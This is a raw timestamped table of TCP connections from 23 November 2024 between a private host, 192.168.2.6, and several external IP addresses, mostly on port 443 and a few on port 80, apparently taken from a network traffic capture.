Nov 23, 2024 02:55:23.114090919 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.114113092 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.123967886 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.123986959 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.124063969 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.124073029 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.124108076 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.124120951 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.136344910 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.136362076 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.136436939 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.136444092 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.136478901 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.146401882 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.146420002 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.146511078 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.146518946 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.146564960 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.153033018 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.153105974 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.153106928 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.153145075 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.154294968 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.154304028 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.229288101 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.229327917 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.229487896 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.230051994 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.230062962 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.286741018 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.286818027 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.303333044 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.303381920 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.303569078 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.307733059 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.307742119 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.308123112 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.308126926 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.313669920 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.313684940 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.429692030 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.429770947 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.429893017 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.430337906 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.430361986 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.430377960 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.430385113 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.434372902 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.434442997 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.434534073 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.434915066 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.434947014 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.443994045 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.444053888 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.444148064 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.444387913 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.444387913 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.444415092 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.444443941 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.446775913 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.446799040 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.446857929 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.447382927 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.447400093 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.457526922 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.457686901 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.457740068 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.458023071 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.458044052 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.458066940 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.458080053 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.460032940 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.460062027 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.460192919 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.460365057 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.460375071 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.465874910 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.465935946 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.466002941 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.466244936 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.466257095 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.466276884 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.466283083 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.471810102 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.471852064 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.471935034 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.472310066 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.472327948 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.495131969 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.495158911 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.495296001 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.495455980 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.495469093 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.786354065 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.786381960 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.786402941 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.786422014 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.786437035 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.786458015 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.786520004 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.797823906 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.798261881 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.798289061 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.798759937 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.798767090 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.810138941 CET	49775	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:23.810254097 CET	443	49775	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:23.810350895 CET	49775	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:23.811564922 CET	49775	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:23.811602116 CET	443	49775	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:23.990796089 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.990825891 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.990941048 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.990961075 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.991012096 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.024451971 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.024497986 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.024535894 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.024560928 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.024588108 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.024619102 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.176448107 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.176501036 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.176553965 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.176563978 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.176600933 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.176789999 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.204406977 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.204454899 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.204489946 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.204498053 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.204538107 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.204538107 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.218872070 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.218940020 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:24.220664024 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:24.220670938 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.221009016 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.221843004 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.221863031 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.221915007 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.221925974 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.221970081 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.221970081 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.241000891 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:24.241056919 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:24.241413116 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:24.241534948 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:24.241543055 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:24.241554976 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:24.241558075 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:24.242387056 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.242434978 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.242459059 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.242477894 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.242526054 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.242526054 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.244231939 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:24.244291067 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:24.244406939 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:24.244530916 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:24.244560957 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:24.278028965 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:24.323324919 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.381165981 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.381234884 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.381283998 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.381298065 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.381335020 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.381335020 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.397128105 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.397176027 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.397262096 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.397262096 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.397274017 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.398446083 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.413156033 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.413199902 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.413306952 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.413306952 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.413315058 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.413395882 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.427018881 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.427073002 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.427110910 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.427119017 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.427159071 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.427197933 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.444125891 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.444153070 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.444241047 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.444247961 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.444267035 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.444295883 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.458039999 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.458060980 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.458153963 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.458153963 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.458161116 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.458200932 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.474025011 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.474045992 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.474142075 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.474149942 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.474169016 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.474188089 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.500850916 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.500896931 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.500972033 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.501157999 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.501174927 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.589751005 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.589773893 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.589863062 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.589875937 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.590701103 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.600187063 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.600208044 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.600271940 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.600280046 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.600298882 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.600328922 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.611777067 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.611797094 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.611932993 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.611943007 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.612183094 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.634012938 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.634035110 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.634111881 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.634111881 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.634120941 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.634175062 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.634247065 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.634268045 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.634315014 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.634321928 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.634330988 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.634381056 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.643239021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:24.643915892 CET	49780	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:24.645744085 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.645766020 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.645828962 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.645834923 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.645869970 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.645931959 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.652462959 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.652501106 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.652558088 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.652565002 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.652576923 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.652597904 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.652597904 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.652621031 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.668920994 CET	49757	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.668935061 CET	443	49757	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.762695074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:24.763371944 CET	80	49780	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:24.763552904 CET	49780	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:24.770210981 CET	49780	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:24.810612917 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.810789108 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.811486959 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.811494112 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.812115908 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.812120914 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.836282969 CET	443	49765	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:24.836536884 CET	49765	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:24.836559057 CET	443	49765	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:24.837021112 CET	443	49765	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:24.837378025 CET	49765	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:24.837460995 CET	443	49765	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:24.847101927 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.847187996 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.849354029 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.849361897 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.849860907 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:24.849869013 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:24.886352062 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.886377096 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.886384964 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.886409044 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.886426926 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.886435032 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.886450052 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:24.886460066 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.886502028 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:24.889733076 CET	80	49780	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:24.906980038 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.907048941 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.907068968 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:24.907114029 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:24.907500029 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:24.907511950 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.907531977 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:24.907536983 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:24.940411091 CET	49765	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:25.076746941 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.076910973 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.077543020 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.077548027 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.077946901 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.077950954 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.182102919 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.182478905 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.182498932 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.182921886 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.182929039 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.185796022 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.186119080 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.186152935 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.186520100 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.186527967 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.224884987 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.225208998 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.225234985 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.225639105 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.225646019 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.233417034 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.233449936 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.233560085 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.235532999 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.235548019 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.281567097 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.281970024 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.282041073 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.282444954 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.282465935 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.295684099 CET	443	49775	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:25.295768976 CET	49775	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:25.298609018 CET	49775	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:25.298638105 CET	443	49775	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:25.299071074 CET	443	49775	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:25.326668978 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.326694012 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.326714039 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.326755047 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.326771021 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.326809883 CET	49768	443	192.168.2.6	150.171.27.10
